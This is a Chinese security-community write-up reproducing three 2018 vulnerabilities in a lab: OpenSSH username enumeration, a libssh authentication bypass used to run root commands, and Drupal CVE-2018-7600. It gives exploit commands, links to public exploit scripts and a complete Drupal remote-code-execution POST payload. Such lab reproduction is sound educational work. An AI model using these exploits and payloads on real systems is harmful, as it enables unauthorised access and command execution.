2018年十大远程利用(RCE)漏洞原创复现

  • A+
所属分类:安全文章


圈子社区漏洞复现原创奖励计划优秀作品

漏洞复现由社区成员@无心、@silh0uette、@Si1ence、@blankmi、@neversec、@littleheary、@浪子莫回头

提供

所涉及课程和靶机已加入人人大佬实战靶场,欢迎来搞


因为本文过长,所以把全文做成了PDF,后台回复“漏洞”即可得下载链接。


1.CVE-2018-15473

漏洞介绍

该漏洞涉及到多个OpenSSH中的身份验证函数,通过向OpenSSH服务器发送一个错误格式的公钥认证请求,根据服务器的响应情况判断是否存在特定的用户名。

如果用户名存在,服务器会因为解析失败,不返回任何信息,直接中断通讯,反之,服务器会给客户端发送一个验证失败的消息。

漏洞影响

OpenSSH 7.7及其以前版本

漏洞复现

环境搭建

虚拟机使用Nat方式进行通信

漏洞主机Ubuntu 18.04Service: OpenSSH 7.6p1 IP: 192.168.153.130User: root breezy

自动安装

Ubuntu中默认自带有OpenSSH-client,可以通过ssh [email protected]进行远程连接,而如果提供远程连接,则需要安装并开启OpenSSH-Server服务。

查看是否安装OpenSSH-Server

2018年十大远程利用(RCE)漏洞原创复现

在回显的内容中如果没有sshd则表明没有安装一般情况下可以通过sudo apt-get install openssh-server=version进行安装

查看版本号sudo apt-cache madison openssh-server sudo apt-cache policy open-ssh-server

2018年十大远程利用(RCE)漏洞原创复现

安装后重启服务即可/etc/init.d/ssh restart

具体的还需要看更新源的内容,有符合的版本则可以直接安装,但是因为漏洞已经被爆出来很长时间了,很多更新源为了避免漏洞造成的危害,一般都换成了官方最新发布的版本,直接安装的版本无法复现漏洞,这时就要手动安装受影响版本。

手动安装

wget http://ftp.jaist.ac.jp/pub/OpenBSD/OpenSSH/portable/openssh-7.6p1.tar.gztar -zxvf openssh-7.6p1.tar.gzcd openssh-7.6p1./configure --prefix=/usr --sysconfdir=/etc/ssh --with-zlib --with-md5-passwordsmakesudo make install/etc/init.d/ssh restart

注意

configure的过程中可能会出现如下错误

checking OpenSSL library version... configure: error: OpenSSL >= 1.1.0 is not yet supported (have "1010007f (OpenSSL 1.1.0g 2 Nov 2017)")这是由于openssl版本太高造成可以尝试卸载掉原来的旧版本并安装低版本

sudo apt-get remove opensslwget https://www.openssl.org/source/openssl-1.0.2p.tar.gztar zxf openssl-1.0.2p.tar.gzcd openssl-1.0.2p/./configmake && sudo make install

重新进行configure的时候,如果仍然出现同样错误

sudo apt-get remove libssl-dev --purge2018年十大远程利用(RCE)漏洞原创复现

攻击机Kali LinuxPython paramiko(2.40) IP: 192.168.153.132

2018年十大远程利用(RCE)漏洞原创复现

Kali已经自带了2.4.0版本的paramiko库,执行exp的时候刚好不会报错如果是高版本,可能会提示

php TypeError: 'property' object has no attribute '__getitem__'解决方法是

php pip install paramiko==2.0.8或者将_handler_table改为_client_handler_tableEXP:https://github.com/Rhynorater/CVE-2018-15473-Exploit

默认漏洞主机的OpenSSH-server服务已开启

git clone https://github.com/Rhynorater/CVE-2018-15473-Exploitpip install -r requirements.txtpython3 sshUsernameEnumExploit.py --port xx(默认为22) --userList xxx.txt ip

2018年十大远程利用(RCE)漏洞原创复现

将存在和不存在的用户名写入到user.txt中,通过exp进行测试后能够看到,识别出了漏洞主机的用户调试模式运行OpenSSH-Server

service ssh stop  关闭ssh服务器 否则会由于端口已使用而冲突sudo /usr/sbin/sshd -dd 如果出现Missing Privileges Sepration directory: /run/sshd则需要 创建这个文件夹sudo mkdir /run/sshd 

2018年十大远程利用(RCE)漏洞原创复现

此时在攻击机执行脚本查看请求情况

由于github的脚本会报错,我们在这里使用Openwall的脚本:https://bugfuzz.com/stuff/ssh-check-username.py

2018年十大远程利用(RCE)漏洞原创复现

能够看到提示了不合法的用户名

2018年十大远程利用(RCE)漏洞原创复现

当测试合法用户的时候,会弹出imcomplete message错误提示

2018年十大远程利用(RCE)漏洞原创复现

2018年十大远程利用(RCE)漏洞原创复现

2.CVE-2018-10933

漏洞介绍

libssh 0.6 及以上的版本,在服务端的代码实现中存在身份认证绕过漏洞。在向服务端认证的流程中,攻击者通过将 SSH2_MSG_USERAUTH_REQUEST 消息替换为 SSH2_MSG_USERAUTH_SUCCESS,即可在无需任何有效凭证的情况下认证成功,从而进行一些恶意操作。

漏洞影响

libssh 0.8.x – 0.8.3

libssh 0.7.x – 0.7.5

libssh 0.6.x

漏洞复现

环境搭建

1、安装依赖包

apt-get updateapt-get install makeapt-get install gcc g++apt-get install zlib1g zlib1g-devapt-get install openssl libssl-dev

2、安装cmake高版本

apt-get install  build-essentialwget https://cmake.org/files/v3.8/cmake-3.8.2.tar.gztar xf cmake-3.8.2.tar.gzcd cmake-3.8.2./configuremakemake install 或apt-get install checkinstall  &&  checkinstall

3、下载libssh安装包,并解压缩

git clone https://github.com/hackerhouse-opensource/cve-2018-10933.gitcd cve-2018-10933xz -d libssh-0.8.3.tar.xztar -xf libssh-0.8.3.tar

4、安装libssh

cd libssh-0.8.3patch -p0 < ../cve-2018-10933.patchpatch -p0 < ../server.patchmkdir buildcd buildcmake ..makemake install

5、创建启动ssh服务用到的dsa和rsa文件

cd /root/ssh-keygen -t dsa -f ssh_host_dsa_key -N ''ssh-keygen -t rsa -b 2048 -f ssh_host_rsa_key -N ''

本次复现用到的脚本清单如下:

https://github.com/blacknbunny/libSSH-Authentication-Bypasshttps://github.com/hackerhouse-opensource/cve-2018-10933https://github.com/leapsecurity/libssh-scanner

1、在被攻击机中开启libssh的服务

cd /root/soft/cve-2018-10933/libssh-0.8.3/build/examples/./ssh_server_fork -d /root/ssh_host_dsa_key -k /root/ssh_host_rsa_key -p 2222 -v 0.0.0.0

2018年十大远程利用(RCE)漏洞原创复现

2、首先拿https://github.com/leapsecurity/libssh-scanner作为利用脚本来开始复现

git clone https://github.com/leapsecurity/libssh-scanner.gitcd libssh-scannerpip install -r requirements.txt

开始扫描漏洞

php python libsshscan.py -h2018年十大远程利用(RCE)漏洞原创复现

php python libsshscan.py <受害机的ip地址> -p 2222 -a2018年十大远程利用(RCE)漏洞原创复现

通过查看返回信息,就可以判断是否存在可能利用的漏洞了。

3、接下来拿https://github.com/blacknbunny/libSSH-Authentication-Bypass作为利用脚本来执行命令

git clone https://github.com/blacknbunny/libSSH-Authentication-Bypass.git libssh-authentication-bypasscd libssh-authentication-bypasspip install -r requirements.txt

开始利用脚本执行命令

php python libsshauthbypass.py -h2018年十大远程利用(RCE)漏洞原创复现

php python libsshauthbypass.py --host <受害机的ip地址> -p 2222 -c whoami2018年十大远程利用(RCE)漏洞原创复现

让我们查看一下受害机返回的信息

2018年十大远程利用(RCE)漏洞原创复现

可以看到,它会免认证直接开启一个channel,然后利用这个channel,将命令传输过程并执行,命令执行结果返回以后,channel将会自动关闭。

2018年十大远程利用(RCE)漏洞原创复现

这个漏洞可以执行任何命令,因为权限是root级别的。

python libsshauthbypass.py --host <受害机的ip地址> -p 2222 -c "ps aux"2018年十大远程利用(RCE)漏洞原创复现

2018年十大远程利用(RCE)漏洞原创复现

3.CVE-2018-7600

漏洞介绍

Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。

漏洞影响

Drupal < 7.58

Drupal 8.x - 8.3.9

Drupal 8.4.x - 8.4.6

Drupal 8.5.1 - 8.5.x

漏洞复现

复现环境

https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600

2018年十大远程利用(RCE)漏洞原创复现

成功安装,不知道为什么安装不了中文简体,只好拿中文繁体将就看

2018年十大远程利用(RCE)漏洞原创复现

2018年十大远程利用(RCE)漏洞原创复现

成功执行

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1Host: 192.168.222.129:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 107form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=whoami

2018年十大远程利用(RCE)漏洞原创复现

2018年十大远程利用(RCE)漏洞原创复现


关于圈子社区
圈子社区是一个非盈利,封闭的白帽子技术交流社区。目前成员已有近2000人,拥有业内首个自主研发的实战化靶场,体系化学习和燃爆的交流气氛带你成为真正的大佬,社区专注实战,崇尚技术,如果你也是实战派,请关注我们。
社区地址:(请使用https访问)
https://www.secquan.org

2018年十大远程利用(RCE)漏洞原创复现

本文始发于微信公众号(Secquan圈子社区):2018年十大远程利用(RCE)漏洞原创复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: